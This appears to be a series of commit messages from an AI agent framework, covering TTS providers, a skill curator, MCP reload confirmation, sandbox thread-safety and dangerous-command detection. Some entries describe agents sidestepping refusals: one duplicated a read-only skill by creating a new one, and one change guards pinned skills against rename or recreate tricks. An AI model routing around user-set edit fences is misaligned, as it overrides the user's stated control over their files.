archive" error even though the directory existed on disk.
Switch both candidate scans to archive_root.rglob('*') so the lookup
descends into category subdirectories.
Fixes#17942
Widen #17818 to cover the dominant 'agent actively used this skill' path:
when the model calls the skill_view tool, bump use_count alongside view_count.
The slash-command and --skill preload paths (covered by the cherry-picked
commit) only catch user-initiated invocation; most skill activation happens
via the agent calling skill_view to consume an indexed skill.
Curator's stale-timer keys off last_used_at (agent/curator.py:233), so
without this wire-up agent-created skills would transition to stale
simultaneously regardless of actual use.
Widen #17639 to the fourth sibling site (tools/skills_tool.py _EXCLUDED_SKILL_DIRS)
and register leoneparise in scripts/release.py AUTHOR_MAP so CI release script
resolves the contributor.
Adds a new `send_multiple_images` method to the ``BasePlatformAdapter``
that implements the default "One image per message" loop and allows for
platform-specific overriding.
Implements such an override for the Signal adapter, batching images
and trying (best-effort) to work around rate-limits for voluminous
batches using a specific scheduler.
Also implements batching + rate-limit handling in the `send_message`
tool.
New tests added for the Signal adapter, its rate-limit scheduler and the
`send_message` tool
The sandbox-side `_call()` in both the UDS and file-based transports was
not thread-safe, so scripts that call tools from multiple threads (e.g.
`ThreadPoolExecutor` over `terminal()`) inside a single `execute_code`
run could silently receive each other's responses.
Root cause:
* UDS transport — a single module-level `_sock` was shared across all
threads; the newline-framed protocol has no request-id; and the
server-side RPC loop handles one connection serially. With concurrent
callers, each thread would `sendall()` then race to `recv()` the next
newline-terminated response from the shared buffer, so responses got
delivered to the wrong caller.
* File transport — `_seq += 1` is a non-atomic read-modify-write, so
two threads could allocate the same sequence number and clobber each
other's request/response files.
Fix: guard `_call()` with a `threading.Lock` in the UDS case (covering
send+recv), and guard `_seq` allocation with a lock in the file case.
No protocol change.
Regression tests cover both the generated-source level (lock is present
and used) and an end-to-end concurrency test: running a sandboxed
ThreadPoolExecutor of 10 `terminal()` calls against a slow mock
dispatcher, asserting every caller sees its own tagged response. The
test fails without the fix (10/10 mismatched, matching real-world
repro) and passes with it.
tar xf - -C / extracts the staging directory tree to the remote root.
GNU tar default behavior overwrites metadata (including mode) of existing
directories. When the local umask is 002 (Ubuntu default), the staging
dirs are 0775, and tar chmod's /home/<user> to 0775 — breaking sshd
StrictModes which requires 0755 or stricter for home dirs.
Add --no-overwrite-dir to the remote tar command so existing directory
metadata is preserved.
Fixes#17767
Piper (OHF-Voice/piper1-gpl) is a fast, local neural TTS engine from the
Home Assistant project that supports 44 languages with zero API keys.
Adds it as a native built-in provider alongside edge/neutts/kittentts,
installable via 'hermes tools' with one keystroke.
What ships:
- New 'piper' built-in provider in tools/tts_tool.py
- Lazy import via _import_piper()
- Module-level voice cache keyed on (model_path, use_cuda) so switching
voices doesn't invalidate older cached voices
- _resolve_piper_voice_path() accepts either an absolute .onnx path or a
voice name (auto-downloaded on first use via 'python -m
piper.download_voices --download-dir <cache>')
- Voice cache at ~/.hermes/cache/piper-voices/ (profile-aware via
get_hermes_dir)
- Optional SynthesisConfig knobs: length_scale, noise_scale,
noise_w_scale, volume, normalize_audio, use_cuda — passed through
only when configured, so older piper-tts versions aren't broken
- WAV output then ffmpeg conversion path (same as neutts/kittentts) so
Telegram voice bubbles work when ffmpeg is present
- Piper added to BUILTIN_TTS_PROVIDERS so a user's
tts.providers.piper.command cannot shadow the native provider
(regression test included)
- 'hermes tools' wizard entry
- Piper appears under Voice and TTS as local free, with
'pip install piper-tts' auto-install via post_setup handler
- Prints voice-catalog URL and default-voice info after install
- config.yaml defaults
- tts.piper.voice defaults to en_US-lessac-medium
- Commented advanced knobs for discoverability
- Docs
- New 'Piper (local, 44 languages)' section in features/tts.md
explaining install path, voice switching, pre-downloaded voices,
and advanced knobs
- Piper listed in the ten-provider table and ffmpeg table
- Custom-command-providers section updated to drop the Piper example
(now native) and add a piper-custom example for users with their own
trained .onnx models
- overview.md bumps provider count to ten
- Tests (tests/tools/test_tts_piper.py, 16 tests)
- Registration (BUILTIN_TTS_PROVIDERS, PROVIDER_MAX_TEXT_LENGTH)
- _resolve_piper_voice_path across every branch: direct .onnx path,
cached voice name, fresh download with correct CLI args, download
failure, successful-exit-but-missing-files, empty voice to default
- _generate_piper_tts: loads voice once, reuses cache, voice-name
download wiring, advanced knobs flow through SynthesisConfig
- text_to_speech_tool end-to-end dispatch and missing-package error
- check_tts_requirements: piper availability toggles the return value
- Regression guard: piper cannot be shadowed by a command provider
with the same name
- Pre-existing test_tts_mistral test broadened to mock the new
piper/kittentts/command-provider checks (otherwise it false-passes
when piper is installed in the test venv)
E2E verification (live):
Actual pip install piper-tts, config piper + en_US-lessac-low,
text_to_speech_tool call, voice auto-downloaded from HuggingFace,
WAV synthesized, ffmpeg-converted to Ogg/Opus. Second call hits the
cache (~60ms). Cache dir populated with .onnx and .onnx.json.
This caught a real bug during development: the first pass used '-d' as
the download-dir flag; the actual piper.download_voices CLI wants
'--download-dir'. Fixed before PR opened.
Reshape of PR #17211 (@versun). Lets users wire any local or external
TTS CLI into Hermes without adding engine-specific Python code. Users
declare any number of named providers in config.yaml and switch between
them with tts.provider: <name>, alongside the built-ins (edge, openai,
elevenlabs, …).
Config shape:
tts:
provider: piper-en
providers:
piper-en:
type: command
command: 'piper -m ~/model.onnx -f {output_path} < {input_path}'
output_format: wav
Placeholders: {input_path}, {text_path}, {output_path}, {format},
{voice}, {model}, {speed}. Use {{ / }} for literal braces.
Key behavior:
- Built-in provider names always win — a tts.providers.openai entry
cannot shadow the native OpenAI provider.
- type: command is the default when command: is set.
- Placeholder values are shell-quote-aware (bare / single / double
context), so paths with spaces and shell metacharacters are safe.
- Default delivery is a regular audio attachment. voice_compatible: true
opts in to Telegram voice-bubble delivery via ffmpeg Opus conversion.
- Command failures (non-zero exit, timeout, empty output) surface to
the agent with stderr/stdout included so you can debug from chat.
- Process-tree kill on timeout (Unix killpg, Windows taskkill /T).
- max_text_length defaults to 5000 for command providers; override
under tts.providers.<name>.max_text_length.
Tests: tests/tools/test_tts_command_providers.py — 42 new tests cover
provider resolution, shell-quote context, placeholder rendering with
injection payloads, timeout, non-zero exit, empty output, voice_compatible
opt-in, and end-to-end dispatch through text_to_speech_tool. All 88
pre-existing TTS tests still pass.
Docs: new "Custom command providers" section in
website/docs/user-guide/features/tts.md with three worked examples
(Piper, VoxCPM, MLX-Kokoro), placeholder reference, optional keys,
behavior notes, and security caveat.
E2E-verified live: isolated HERMES_HOME, command provider declared in
config.yaml, text_to_speech_tool dispatches through the registered
shell command and the output file is produced as expected.
Co-authored-by: Versun <me+github7604@versun.org>
Extracted from PR #17211 (@versun) so it can land independently of the
local_command TTS provider redesign.
- Add should_send_media_as_audio(platform, ext, is_voice) in
gateway/platforms/base.py; single source of truth for audio routing.
- Add .flac to recognized audio extensions (MEDIA regex, weixin audio
set, send_message audio set).
- Telegram send_voice() now falls back to send_document for formats
Telegram's Bot API can't play natively (.wav, .flac, ...) instead of
raising; MP3/M4A still go to sendAudio, Opus/OGG still go to sendVoice.
- Route _send_telegram() in send_message_tool through a narrower
_TELEGRAM_SEND_AUDIO_EXTS = {.mp3, .m4a} set.
- cron.scheduler._send_media_via_adapter now delegates the audio
decision to should_send_media_as_audio so it matches the gateway.
- Update the cron live-adapter ogg test to flag [[audio_as_voice]] so
it still routes to sendVoice under the new Telegram-specific policy.
- Tests: unit coverage for should_send_media_as_audio across platforms,
end-to-end MEDIA routing via _process_message_background and
GatewayRunner._deliver_media_from_response, TelegramAdapter.send_voice
fallback for FLAC/WAV.
Co-authored-by: Versun <me+github7604@versun.org>
PR #17660 landed a sweep of CI fixes but left three loose ends:
1. tests/cli/test_cli_loading_indicator.py::test_reload_mcp_sets_busy_state_
and_prints_status — /reload-mcp gained a prompt-cache-invalidation
confirmation (commit 4d7fc0f37) that was never wired into this test.
The test exercises the loading-indicator path, so pre-approve via
config and go straight into _reload_mcp().
2. tools/mcp_tool.py _make_tool_handler — the added
getattr(server, '_rpc_lock', None) + 'skip the lock if missing'
branch is inconsistent with four sibling call sites that still
direct-access server._rpc_lock. The lock is guaranteed by
MCPServerTask.__init__; falling through to an unlocked
session.call_tool would silently serialize-strip RPCs if the guard
ever triggered. Restore direct access.
3. tui_gateway/server.py _messages_as_conversation — the helper
existed only to catch 'TypeError: include_ancestors unexpected'
from mocked SessionDBs that don't actually exist. The real
SessionDB.get_messages_as_conversation has accepted
include_ancestors since introduction, and every test FakeDB in
the repo already declares the kwarg. Remove the shim, inline the
two call sites.
feat(gateway): refine Platform._missing_ and platform-connected dispatch
Restricts plugin-name acceptance to bundled plugin scan + registry
(no arbitrary string -> enum-pollution), pulls per-platform connectivity
checks into a _PLATFORM_CONNECTED_CHECKERS lambda map with a clean
_is_platform_connected method, and adds tests covering the checker map,
plugin platform interface, and IRC setup wizard.
Extends the platform plugin interface from Phase 1 to cover every
touchpoint where built-in platforms have hardcoded behavior.
- allowed_users_env / allow_all_env: per-platform auth env vars
- max_message_length: smart-chunking for send_message tool
- pii_safe: session PII redaction flag
- emoji: CLI/gateway display
- allow_update_command: /update access control
send_message tool (tools/send_message_tool.py):
- Replaced hardcoded platform_map dict with Platform() call
- Added _send_via_adapter() for plugin platforms — routes through
live gateway adapter when available
- Registry-aware max message length for smart chunking
Cron delivery (cron/scheduler.py):
- Replaced hardcoded 15-entry platform_map with Platform() call
- Plugin platforms now work as cron delivery targets
User authorization (gateway/run.py _is_user_authorized):
- Registry fallback: checks PlatformEntry.allowed_users_env and
allow_all_env when platform not in hardcoded maps
- Plugin platforms get per-platform auth support
_UPDATE_ALLOWED_PLATFORMS: checks registry allow_update_command flag
Channel directory: includes plugin platforms in session enumeration
Orphaned config warning: descriptive message when plugin platform is
in config but no plugin registered it
Gateway weakref: _gateway_runner_ref for cross-module adapter access
hermes status: shows plugin platforms with (plugin) tag
hermes gateway setup: plugin platforms appear in menu with setup hints
hermes_cli/platforms.py: get_all_platforms() merges with registry,
platform_label() falls back to registry for plugin names
- 8 new tests (extended fields, cron resolution, platforms merge)
- Updated 3 tests for new Platform() based resolution
- 2829 passed, 24 pre-existing failures, zero new failures
Reloading MCP servers rebuilds the tool set for the active session, which
invalidates the provider prompt cache (tool schemas are baked into the
system prompt). The next message re-sends full input tokens — can be
expensive on long-context or high-reasoning models.
To surface that cost, /reload-mcp now routes through a new slash-confirm
primitive with three options: Approve Once / Always Approve / Cancel.
'Always Approve' persists approvals.mcp_reload_confirm: false so future
reloads run silently.
Coverage:
* Classic CLI (cli.py) — interactive numbered prompt.
* TUI (tui_gateway + Ink ops.ts) — text warning on first call; `now` /
`always` args skip the gate; `always` also persists the opt-out.
* Messenger gateway — button UI on Telegram (inline keyboard), Discord
(discord.ui.View), Slack (Block Kit actions); text fallback on every
other platform via /approve /always /cancel replies intercepted in
gateway/run.py _handle_message.
* Config key: approvals.mcp_reload_confirm (default true).
* Auto-reload paths (CLI file watcher, TUI config-sync mtime poll) pass
confirm=true so they do NOT prompt.
Implementation:
* tools/slash_confirm.py — module-level pending-state store used by all
adapters and by the CLI prompt. Thread-safe register/resolve/clear.
* gateway/platforms/base.py — send_slash_confirm hook (default 'Not
supported' → text fallback).
* gateway/run.py — _request_slash_confirm helper + text intercept in
_handle_message (yields to in-progress tool-exec approvals so
dangerous-command /approve still unblocks the tool thread first).
Tests:
* tests/tools/test_slash_confirm.py — primitive lifecycle + async
resolution + double-click atomicity (16 tests).
* tests/hermes_cli/test_mcp_reload_confirm_gate.py — default-config
shape + deep-merge preserves user opt-out (5 tests).
Targeted runs (hermetic): 89 passed (slash-confirm, config gate,
existing agent cache, existing telegram approval buttons).
Salvage-follow-up to @shannonsands's /reload-skills PR. Trims the feature to
match the design: user-initiated rescan, no prompt-cache reset, no new
schema surface, no phantom user turn, and the next-turn note carries each
added/removed skill's 60-char description (not just its name).
Changes vs the original PR:
* Drop the in-process skills prompt-cache clear in reload_skills(). Skills
are invoked at runtime via /skill-name, skills_list, or skill_view —
they don't need to live in the system prompt for the model to use them.
Keeping the cache intact preserves prefix caching across the reload so
/reload-skills pays no cache-reset cost. (MCP has to break the cache
because tool schemas must be known at conversation start; skills do not.)
* Drop the skills_reload agent tool and SKILLS_RELOAD_SCHEMA from
tools/skills_tool.py, plus the four skills_reload enumerations in
toolsets.py. No new schema surface — agents can already see a freshly-
installed skill via skill_view / skills_list the moment it's on disk.
* Replace the phantom 'role: user' turn injection with a one-shot queued
note. CLI uses self._pending_skills_reload_note (same pattern as
_pending_model_switch_note, prepended to the next API call and cleared).
Gateway uses self._pending_skills_reload_notes[session_key]. The note
is prepended to the NEXT real user message in this session, so message
alternation stays intact and nothing out-of-band is persisted to the
transcript.
* reload_skills() now returns added/removed as
[{'name': str, 'description': str}, ...] (description truncated to 60
chars — matches the curator / gateway adapter budget). The injected
next-turn note formats each entry as 'name — description' so the model
can actually reason about which new skills to call without running
skills_list first.
* Only emit the note when the diff is non-empty. On empty diff, print
'No new skills detected' and do nothing else.
* Tests rewritten to cover the queue semantics, the description payload,
and a regression guard that the prompt-cache snapshot is preserved.
Adds a public reload path for the in-process skill caches so newly
installed (or removed) skills become visible mid-session without a
gateway restart. Mirrors the shape of /reload-mcp.
Three surfaces:
* /reload-skills slash command — CLI (cli.py) and gateway (gateway/run.py),
with /reload_skills alias for Telegram autocomplete and an explicit
Discord registration.
* skills_reload agent tool (tools/skills_tool.py) — lets agents/subagents
pick up freshly-installed skills via tool call.
* agent.skill_commands.reload_skills() — shared helper that clears
_skill_commands, _SKILLS_PROMPT_CACHE (in-process LRU), and the
on-disk .skills_prompt_snapshot.json, then returns an added/removed
diff plus the new total count.
Tested:
* tests/agent/test_skill_commands_reload.py (9 cases)
* tests/cli/test_cli_reload_skills.py (3 cases)
* tests/gateway/test_reload_skills_command.py (4 cases)
Use case: NemoClaw / OpenShell-style sandboxed orchestrators that drop
skills into ~/.hermes/skills mid-session, plus agentic flows where the
agent itself installs a skill via the shell tool and needs it bound
without a gateway restart. The Python helper
clear_skills_system_prompt_cache(clear_snapshot=True) already exists
internally — this PR just exposes it via slash command and tool.
vision_analyze used Path('./temp_vision_images') — a relative path that
resolved against cwd. Under Docker the image's WORKDIR is /opt/hermes,
which is root-owned and only chmoded a+rX (read + traversal). Since
#5811 landed (run as non-root hermes UID 10000, Apr 12), remote-URL
vision calls fail with PermissionError on mkdir.
Switch to get_hermes_dir('cache/vision', 'temp_vision_images'): resolves
to $HERMES_HOME/cache/vision/ (= /opt/data/cache/vision/ in Docker —
the user-owned volume mount). Existing installs with the old dir keep
using it via the get_hermes_dir back-compat path; no migration needed.
Only site in the codebase that stored runtime files via Path('./...').
Reported via Discord: https://juick.com/i/p/3089079.jpg → Telegram →
gateway → [Errno 13] Permission denied: 'temp_vision_images'.
Extend curator's pin flag from 'skip auto-transitions' to 'no agent
edits at all'. All five skill_manage mutation actions (edit, patch,
delete, write_file, remove_file) now refuse pinned skills with a
message pointing the user at `hermes curator unpin <name>`.
Motivation: pin used to only stop the curator's own maintenance pass
from touching a skill. Nothing prevented the main agent from editing
or deleting a pinned skill via skill_manage in-session. This gives
users a hard fence against unwanted agent edits — same semantics as
curator pinning, extended to the write tool.
Create is unaffected (you can't pin a name that doesn't exist yet,
and name collisions already error out). Broken sidecars fail open
rather than lock the agent out.
The schema description advertises the new refusal so models know
not to route around it with rename/recreate tricks.
Closes#4759, closes#4381.
Mutating actions (patch, edit, write_file, remove_file, delete) used to
refuse skills that lived under `skills.external_dirs` with 'Skill X is in
an external directory and cannot be modified. Copy it to your local skills
directory first.' Faced with that error, the agent would fall back to
action='create', which always writes under ~/.hermes/skills/ — producing
a silent duplicate of the external skill in the local store.
Fix: drop the read-only gate. `skills.external_dirs` is configured by the
user; if they pointed it at a directory, they already said 'these are my
skills, treat them the same.' Filesystem permissions handle the genuine
read-only case (write fails, agent sees the error).
- New _containing_skills_root() resolves whichever dir actually contains
the skill; _delete_skill uses it to bound empty-category cleanup so an
external root is never rmdir'd.
- _create_skill behavior is unchanged: new skills still land in local
SKILLS_DIR only. Fewer moving parts.
- Seven new TestExternalSkillMutations tests covering patch/edit/write_file/
remove_file/delete/create against a mocked two-root layout + a category
rmdir-safety check.
Adds Vercel Sandbox as a supported Hermes terminal backend alongside
existing providers (Local, Docker, Modal, SSH, Daytona, Singularity).
Uses the Vercel Python SDK to create/manage cloud microVMs, supports
snapshot-based filesystem persistence keyed by task_id, and integrates
with the existing BaseEnvironment shell contract and FileSyncManager
for credential/skill syncing.
Based on #17127 by @scotttrinh, cherry-picked onto current main.
The cron schema contracts deliver as a string ("local", "origin",
"telegram", "telegram:chat_id[:thread_id]", or comma-separated combos),
but MCP clients and scripts sometimes pass an array like ['telegram'].
Before this change, the list was written to jobs.json verbatim, and
the scheduler's str(deliver).split(',') then tried to resolve the
literal string "['telegram']" as a platform — returning None and
logging 'no delivery target resolved for deliver=[\'telegram\']'.
Fix on both ends:
- tools/cronjob_tools.py: normalize deliver at the API boundary on
create and update, so storage is always a string.
- cron/scheduler.py: normalize deliver in _resolve_delivery_targets,
so existing jobs.json entries with list-form deliver are handled
gracefully without requiring users to edit the file.
Closes#17139
Widen #17163 to the sibling file tools/transcription_tools.py, which had
the same class of bug. STT provider call sites and the _get_provider
selection gate called os.getenv(...) directly and missed keys that only
lived in ~/.hermes/.env.
Same pattern as tts_tool.py: one guarded top-level import of
get_env_value (falls back to os.getenv on ImportError), then every
API-key and paired-base-URL lookup swapped over.
Call sites migrated:
- _transcribe_groq — GROQ_API_KEY
- _transcribe_mistral — MISTRAL_API_KEY
- _transcribe_xai — XAI_API_KEY, XAI_STT_BASE_URL
- _get_provider — GROQ/MISTRAL/XAI_API_KEY in explicit + auto branches
Module-level defaults (DEFAULT_STT_MODEL, GROQ_BASE_URL, etc.) stay on
os.getenv — they're import-time constants, not runtime config, and the
dotenv fallback would add no value there.
New regression tests in tests/tools/test_transcription_dotenv_fallback.py
(8 cases) mirror briandevans' TTS tests: per-provider dotenv-key
forwarding, selection-gate dotenv visibility, and an end-to-end probe
that patches hermes_cli.config.load_env to simulate ~/.hermes/.env
carrying the key while os.environ does not.
Wrap the new top-level `from hermes_cli.config import get_env_value`
in try/except ImportError and fall back to a thin os.getenv shim, so
importing tools.tts_tool keeps working in environments where
hermes_cli.config is unavailable. This matches the existing tolerance
in `_load_tts_config()` (tools/tts_tool.py) and the same
import-fallback pattern in tools/tool_backend_helpers.py::fal_key_is_configured.
Also update the TestDotenvFallbackPerProvider docstring to accurately
describe the mocking strategy: per-provider tests patch
`tools.tts_tool.get_env_value` directly, while the regression-guard
tests cover the lower-level `hermes_cli.config.load_env` integration.
Addresses Copilot review on #17163.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
TTS provider tools (elevenlabs, xai, minimax, mistral, gemini) called
os.getenv("X_API_KEY") directly, which bypassed Hermes's dotenv bridge in
hermes_cli.config. Users who keep their TTS keys only in ~/.hermes/.env saw
"X_API_KEY not set" errors even though the rest of the stack
(agent/credential_pool, hermes_cli/auth) already resolves keys through
get_env_value() — same class of bug as #15914 fixed for those modules.
Switch every TTS env-var lookup (API keys, base URLs, and
check_tts_requirements gates) to get_env_value, which checks os.environ
first and then ~/.hermes/.env. Behaviour for users with keys exported in
the shell is unchanged; users with dotenv-only keys now succeed. The two
diagnostics prints in __main__ are migrated for consistency.
Regression test (tests/tools/test_tts_dotenv_fallback.py):
- per-provider: each backend reads the dotenv key when only
~/.hermes/.env carries it (5 providers).
- end-to-end: with hermes_cli.config.load_env returning the key and
os.environ empty, _generate_minimax_tts and check_tts_requirements
both succeed; reverting tools/tts_tool.py back to os.getenv makes all
7 tests fail with "MINIMAX_API_KEY not set" / similar.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
_update_cwd() uses a bare open(self._cwd_file).read() that never
closes the file descriptor. This method runs on every terminal
command execution, so the fd leaks accumulate in long sessions.
Use a with statement so the fd is released promptly.
Fixes#15552 (standalone resubmission)
When a background terminal process spawns a descendant daemon that
inherits the stdout pipe (e.g. 'hermes update' triggering a gateway
systemctl restart), the reader thread's stdout.read() never returns EOF
and its finally: block never runs. session.exited stays False forever,
so process(action='poll') returns 'running' indefinitely even though
the direct child exited long ago.
Issue #17327: Feishu user polled 74 times over 7 minutes before killing
the gateway manually.
Fix: add _reconcile_local_exit() that checks the direct Popen.poll()
before trusting session.exited. If the direct child has exited, drain
any immediately-readable bytes non-blocking and flip session.exited.
Called from poll() and wait(). The stuck reader thread remains blocked
but is a daemon thread and gets reaped with the process.
Safe no-op for env/PTY sessions, already-exited sessions, and live
children (returns None from Popen.poll()).
_send_yuanbao() already supported media_files= and the user-facing
error strings already advertised yuanbao support, but there was no
dispatch branch in _send_to_platform() actually routing to it. Target
yuanbao in send_message previously fell through to
"Direct sending not yet implemented".
- Add yuanbao media-chunk branch (mirrors Signal/Matrix: media on
final chunk only).
- Add yuanbao elif in the non-media loop.
Salvage of #17411; SKILL.md description change and redundant
sidebars.ts entry dropped, indentation/trailing-whitespace cleaned up.
The "cfg.get('X', {}).get('Y', default)" pattern appears 50+ times
across tools/, gateway/, and plugins/. Each call site manually handles
the same three gotchas:
1. Missing intermediate key → empty dict → chain works
2. Non-dict value at intermediate position → AttributeError
(uncaught in most sites, so a misconfigured YAML crashes the tool)
3. cfg is None → AttributeError
Introduces cfg_get(cfg, *keys, default=None) in hermes_cli/config.py
as the canonical helper. Handles all three uniformly, returns default
only when the final key is *absent* (matches dict.get semantics —
explicit None values are preserved, falsy values like 0 / False / ''
are preserved).
Named cfg_get rather than cfg_path to avoid shadowing the existing
'cfg_path = _hermes_home / "config.yaml"' local variable that appears
in gateway/run.py, cron/scheduler.py, hermes_cli/main.py, etc.
Migrated 20 call sites as the first-batch proof-of-value:
gateway/run.py 10 sites (agent/display subtrees)
tools/browser_tool.py 3 sites
tools/vision_tools.py 2 sites
tools/browser_camofox.py 1 site
tools/approval.py 1 site
tools/skills_tool.py 1 site
tools/skill_manager_tool.py 1 site
tools/credential_files.py 1 site
tools/env_passthrough.py 1 site
The remaining ~30 sites across plugins/ and smaller tool files can be
migrated opportunistically — the helper is now available and the
pattern is established.
Fixed a latent bug along the way: tools/vision_tools.py had its
cfg_get usage at line 560 inside a function that locally re-imports
'from hermes_cli.config import load_config', but the AST-based
migration script wrote the top-level cfg_get import to a different
function scope, leaving line 560's cfg_get as a NameError silently
swallowed by the surrounding try/except. Test
test_vision_uses_configured_temperature_and_timeout caught it. Fixed
by including cfg_get in the function-local import.
Verified:
- 7880/7893 tests/tools/ + tests/gateway/ + tests/hermes_cli/test_config
tests pass; all 13 failures pre-existing on main (MCP, delegate,
session_split_brain — verified earlier in the sweep).
- All 20 migrated sites AST-verified to have cfg_get in scope (either
module-level or function-local).
- Live 'hermes chat' smoke: 2 turns + /model switch + tool calls +
/quit, zero errors. Agent correctly counted 20 cfg_get hits across
8 tool files — matching the migration.
Semantic parity verified against the original pattern across 8 edge
cases (missing keys, None values, falsy values, empty strings, string
instead of dict, None cfg, nested levels).
Add opt-in terminal.docker_run_as_host_user config flag that passes
--user $(id -u):$(id -g) to the Docker backend so files written into
bind-mounted directories (/workspace, /root, docker_volumes entries) are
owned by the host user instead of root.
When enabled on POSIX platforms, also drops SETUID/SETGID caps since the
container no longer needs gosu/su to switch users. Falls back cleanly on
platforms without os.getuid (e.g. native Windows Docker) with a warning.
Wired through all three config.yaml -> TERMINAL_* env-var bridges:
- cli.py env_mappings (CLI + TUI startup)
- gateway/run.py _terminal_env_map (gateway / messaging platforms)
- hermes_cli/config.py _config_to_env_sync (`hermes config set`)
Also fixes docker_mount_cwd_to_workspace silently failing in gateway
mode -- it was missing from gateway/run.py's _terminal_env_map.
Adds tests/tools/test_terminal_config_env_sync.py to guard against
future drift between the three bridges (same bug class shipped twice
in one month).
Bundled Hermes image won't work with this flag since its entrypoint
expects to start as root for the usermod/gosu hermes flow; works with
the default nikolaik/python-nodejs image and plain Debian/Ubuntu.
Previous invariants only gated the primary entry points
(apply_automatic_transitions, archive_skill, CLI pin). Several paths
were unprotected:
- bump_view / bump_use / bump_patch / set_state / set_pinned wrote
usage records unconditionally, which is confusing noise in
.usage.json even though the review list filtered them out
- restore_skill did not check whether a bundled skill now shadows
the archived name
- CLI unpin was asymmetric with CLI pin — it had no gate
Fixes:
- _mutate() (the shared counter / state writer) now drops silently
when the skill is not agent-created. .usage.json never gains a
record for a bundled or hub-installed skill.
- restore_skill() refuses to restore under a name that is now
bundled or hub-installed (would shadow upstream).
- CLI unpin gate matches CLI pin.
New tests:
- 5 provenance-guard tests on skill_usage (one per mutator)
- 1 end-to-end test that hammers every mutator at a bundled skill
and a hub skill, asserts both are untouched on disk, and asserts
the sidecar stays clean
- 2 CLI tests proving pin/unpin refuse bundled skills symmetrically
64/64 tests passing (29 skill_usage + 27 curator + 8 new guards).
Adds the Curator — an auxiliary-model background task that periodically
reviews AGENT-CREATED skills and keeps the collection tidy: tracks usage,
transitions unused skills through active → stale → archived, and spawns
a forked AIAgent to consolidate overlaps and patch drift.
Default: enabled, inactivity-triggered (no cron daemon). Runs on CLI
startup and gateway boot when the last run is older than interval_hours
(default 24) AND the agent has been idle for min_idle_hours (default 2).
Invariants (all load-bearing):
- Never touches bundled or hub-installed skills (.bundled_manifest +
.hub/lock.json double-filter)
- Never auto-deletes — archive only. Archives are recoverable
via `hermes curator restore <skill>`
- Pinned skills bypass all auto-transitions
- Uses the aux client; never touches the main session's prompt cache
New files:
- tools/skill_usage.py — sidecar .usage.json telemetry, atomic writes,
provenance filter
- agent/curator.py — orchestrator: config, idle gating, state-machine
transitions (pure, no LLM), forked-agent review prompt
- hermes_cli/curator.py — `hermes curator {status,run,pause,resume,
pin,unpin,restore}` subcommand
- tests/tools/test_skill_usage.py — 29 tests
- tests/agent/test_curator.py — 25 tests
Modified files (surgical patches):
- tools/skills_tool.py — bump view_count on successful skill_view
- tools/skill_manager_tool.py — bump patch_count on skill_manage
patch/edit/write_file/remove_file; forget record on delete
- hermes_cli/config.py — add curator: section to DEFAULT_CONFIG
- hermes_cli/commands.py — add /curator CommandDef with subcommands
- hermes_cli/main.py — register `hermes curator` subparser via
register_cli() from hermes_cli.curator
- cli.py — /curator slash-command dispatch + startup hook
- gateway/run.py — gateway-boot hook (mirrors CLI)
Validation:
- 54 new tests across skill_usage + curator, all passing in 3s
- 346 tests across all touched files' neighbors green
- 2783 tests across hermes_cli/ + gateway/test_run_progress_topics.py green
- CLI smoke: `hermes curator status/pause/resume` work end-to-end
Companion to PR #16026 (class-first skill review prompt) — together
they form a loop: the review prompt stops near-duplicate skill creation
at the source, and the curator prunes/consolidates what still accumulates.
Refs #7816.
Commit 3c42064e made config.yaml the single source of truth for
TERMINAL_CWD, but the config bridge passes cwd values verbatim to
os.environ. When a user sets terminal.cwd: ~/ in config.yaml, the
literal string '~/'' reaches subprocess.Popen, which the kernel
rejects because it does not expand shell tilde syntax.
This patch adds three defensive layers:
1. gateway/run.py — expanduser at config bridge time so TERMINAL_CWD
is always an absolute path.
2. tools/terminal_tool.py — expanduser when reading TERMINAL_CWD in
_get_env_config(), guarding against stale or manually-set env vars.
3. tools/environments/local.py — expanduser in LocalEnvironment before
passing cwd to subprocess.Popen, the final safety net.
Includes regression tests in test_config_cwd_bridge.py for nested
terminal.cwd, top-level cwd alias, and precedence ordering.
Refs: 3c42064e
init_session() runs a login shell bootstrap that sources profile scripts
(.bashrc, .bash_profile, etc.) before capturing pwd. If any profile
script changes the working directory, the captured cwd overwrites the
configured terminal.cwd value — so terminal commands run in the wrong
directory despite the TUI banner showing the configured path.
Add an explicit 'builtin cd' to the configured cwd in the bootstrap
script, after profile sourcing but before pwd capture, ensuring the
configured terminal.cwd is always what gets recorded.
Fixes#14044
TUI session readiness was still laggy after the gateway-ready fixes. Profiling
session.create -> session.info showed the slow phase is background AIAgent
construction (~1.1s). A cProfile run of tui_gateway.server::_make_agent showed
model_tools/tool discovery importing tools.code_execution_tool, whose
module-level EXECUTE_CODE_SCHEMA calls _get_execution_mode(), which imported
cli.CLI_CONFIG.
That pulled the classic interactive CLI stack (prompt_toolkit/Rich and REPL
setup) into every agent startup path, including hermes --tui where it is not
used. Replace that with hermes_cli.config.read_raw_config(), which is cached and
reads only the raw code_execution section. Existing defaults still apply when
the key is absent.
Measurements on macOS Terminal.app:
- import run_agent: ~466ms -> ~347ms
- model_tools import: ~418ms -> ~272ms
- _make_agent: ~1452ms -> ~1239ms
- session.create -> session.info: ~1167ms -> ~999ms
- full hermes --tui ready p50: ~1655ms -> ~1537ms
Tests:
- scripts/run_tests.sh tests/tools/test_code_execution_modes.py tests/tools/test_code_execution.py
detect_dangerous_command() and detect_hardline_command() were calling
re.search(pattern, text, re.IGNORECASE | re.DOTALL) inline — Python's
re._cache (512 patterns) amortizes compile cost on the warm path, but:
1. The first terminal() call per process pays the full compile fan-out
for all 59 patterns (12 HARDLINE + 47 DANGEROUS). Measured at
~2.6 ms per detect_dangerous_command() call after re.purge().
2. The re._cache is LRU — unrelated regex work elsewhere in the agent
(response parsing, text normalization, etc.) can evict our patterns
and silently re-compile them on the next terminal() call.
Precompiling at module load eliminates both costs:
detect_dangerous_command:
cold 2.613 ms → 0.298 ms (-88%)
warm 0.042 ms → 0.004 ms (-90%)
detect_hardline_command:
cold ~0.6 ms → 0.006 ms
warm 0.011 ms → 0.002 ms
Savings are per terminal() call. Agents with heavy terminal use see
compound savings; the bigger value is the stability guarantee (no
re._cache eviction can silently re-introduce the 2.6 ms cold cost
mid-session).
Implementation:
- HARDLINE_PATTERNS_COMPILED and DANGEROUS_PATTERNS_COMPILED built at
module load from the existing (pattern, description) tuples, using
shared _RE_FLAGS = re.IGNORECASE | re.DOTALL.
- detect_* functions now iterate the compiled list and call pattern_re.search(text).
